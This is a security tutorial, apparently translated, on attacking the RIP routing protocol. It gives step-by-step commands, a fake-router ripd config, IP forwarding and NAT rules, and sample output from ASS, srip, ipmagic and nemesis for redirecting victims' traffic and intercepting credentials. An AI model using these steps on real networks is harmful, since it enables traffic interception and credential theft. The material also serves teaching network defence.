False RIP routes.

Oleg Petukhov, lawyer in the field of international law and personal data protection, information security specialist security, protection of information and personal data.
Telegram channel: https://t.me/protectioninformation Telegram Group: https://t.me/informationprotection1 Website: https://legascom.ru Email: online@legascom.ru #informationprotection #informationsecurity
The RIP protocol uses port 520 and UDP for operation. Routers "listen" to traffic on this port. Thus, any packet of the appropriate format will be received and processed by the router. If RIP authentication is not used or the password is empty, an attacker can send incorrect route data to this router, thus redirecting network traffic through the nodes controlled by the attacker.
The first thing an attacker should start their attack with is to identify routers using the RIP protocol. There are several ways to do this.
1. You can listen to traffic using a sniffer. The routers exchange routing information every 30 seconds. The exchange is also performed when the topology is changed. We have already implemented this attack in previous sections on ARP-spoofing. Let me just remind you that in order to implement it, an attacker needs to be on the local network himself.
2. An attacker can also scan the network for nodes with an open UDP port 520.
3. The best, and often the only possible solution, is to use a specialized packet analyzer that allows you to intercept and analyze updates to route tables.
Such a specialized tool is a utility with the uncomplicated name ASS (autonomous system scanner). This utility allows you to perform both active and passive search for routers and routing protocols. During the scanning process, the ASS operates in active mode, and at the end it switches to passive mode, which only listens to traffic. This utility supports not only RIP, but also other routing protocols, so we will return to it more than once in the future.
Here is an example of working in passive mode:
root@kali : # ./ass -i eth0
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>
Phenoelit ( http://www.phenoelit.de )
IRPAS build XXXIX
passive listen ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.100 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
As it is, the utility is running in active mode:
root@kali : # ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>
Phenoelit ( http://www.phenoelit.de )
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
Continuing capture ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.100 (RIPv1 RIPv2 )
RIP1 [ n/a ] 0.0.0.0 (metric 1)
RIP1 [ n/a ] 192.168.0.1 (metric 1)
RIP1 [ n/a ] 192.168.66.9 (metric 1)
RIP1 [ n/a ] 192.168.66.105 (metric 1)
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
The examples above show the intercepted exchange of routing information between two routers 192.168.66.100 and 192.168.66.101. Authentication is not used, otherwise a method such as md5 would have been specified.
In the example below, router IP is the target router whose traffic is being monitored, and the RIP protocol version number 1 or 2 is indicated with the –P key.
root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>
So, we have successfully identified routers using the RIP protocol, its version, as well as the authentication method. Now you can try to carry out an attack. In the simplest case, you can redirect traffic through your router in order to intercept user credentials. At the same time, we do not forget about the limit of 15 routers between any two network nodes.
To carry out the attack, you must first configure your fake router and then exchange route information with neighboring routers.
To do this, you need to make the appropriate settings in our router. Here is an example of a configuration file that uses the RIP version 2 protocol and a single authentication key.
!
! Zebra configuration saved from vty
! 2005/08/12 23:44:33
!
hostname legitimate.ripd
password 8 p@ssw0rd
enable password 8 Cb/yfFsI.abqs
service advanced-vty
service password-encryption
!
!
key chain dmz_auth
key 1
key-string secret_key
!
interface eth0
description DMZ_network
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
!
router rip
version 2
redistribute connected
network 192.168.20.0/24
!
line vty
exec-timeout 30 0
!
Next, you need to configure traffic forwarding through your host. You can do this in the following way:
root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward
The next preparatory step is to set up address translation using Network Address Translation (NAT). This is necessary so that packets traveling to or from the victim's machine reach their final destination, in other words, they are not lost.
root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
Before launching an attack, you need to determine exactly which router you want to send the fake RIP route information update to. The recipient should be a unicast address, not multicast, as in this case the attack is much easier to detect.
In the next step, we create a route record.:
router rip
version 2
default-information originate
neighbor 192.168.20.103
route 192.168.66.9/32
Now, traffic coming from the 192.168.77.0/24 network to the 192.168.66.9 machine will go through the attacker's router.
Now, after the similar announcement of the 192.168.77.0/24 network, new routes will appear in the RIP routing tables. However, the shortest route is still the path between two legal routers. However, if an attacker is able to disable a legitimate channel in any way (for example, by "flooding"), then all traffic will go through a fake router.
To conclude the topic of fake routes, let's look at a few more utilities for generating RIP updates on a regular basis. An example of one of these utilities is sri:
root@kali : # srip <RIP version> -n <netmask> <malicious router IP>
<targeted RIP router IP> <destination host or network IP> <metric>
where <malicious router IP> is the machine through which traffic is planned to be redirected, that is, the attacker's host; <destination host or network IP> is the address to which data is transmitted; <metric> is usually the value 1.
To fine-tune RIP updates, you can use the ipmagic utility from the IP Sorcery project.
Here is an example of all the options of this utility:
root@kali : #./ipmagic
Usage: ./ipmagic [options]
IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]
-is: source host or address def. 127.0.0.1
-id: source destination or address def. 127.0.0.1
-ih: IP header length def. 5
-iv: IP version def. 4
-il: Time-to-Live def. 64
-it: Type-of-Service def. 0
-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]
-ii: IP packet ID for fragmentation def. 0
-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options
<skip>
UDP: [-us|-ud|-ul]
-us: UDP source port def. rand()
-ud: UDP destination port def. 161
-ul: UDP length
RIP: [-uR|-uRc|-uRv]
-uR: Send default RIP packet to port 520
-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ
For a list of RIP commands run program with -h rip
-uRv: RIP version [1|2] def. 2
Note: Entry Tables should be used with response packets[RS|TS|US]
-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1
-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2
-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)
-uRm(1|2|etc.): RIP Entry table Metric
-uRr(1|2|etc.): RIP Entry table Route Tag
-uRe: Add default RIP Entry table to packet
root@kali : #./ipmagic -h rip
RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]
RS: Response Packet
RQ: Request Packet
TN: Trace On
TF: Trace Off
SR: Sun Reserved
TQ: Triggered Request
TR: Triggered Response
TA: Triggered Acknowledgement
UQ: Update Request
UR: Update Response
UA: Update Acknowledgment
Finally, Nemesis is another useful tool for attacking the RIP routing protocol. The set of options for this utility is also quite rich.
root@kali : # nemesis rip help
RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
RIP usage:
rip [-v (verbose)] [options]
RIP options:
-c <RIP command>
-V <RIP version>
-r <RIP routing domain>
-a <RIP address family>
-R <RIP route tag>
-i <RIP route address>
-k <RIP network address mask>
-h <RIP next hop address>
-m <RIP metric>
-P <Payload file>
UDP options:
-x <Source port>
-y <Destination port>
IP options:
-S <Source IP address>
-D <Destination IP address>
-I <IP ID>
-T <IP TTL>
-t <IP TOS>
-F <IP fragmentation options>
-F[D],[M],[R],[offset]
-O <IP options file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
A significant disadvantage of the tools described above is that they cannot send RIP packets using authentication. Hacking authentication may be the way out, but we'll talk about that later.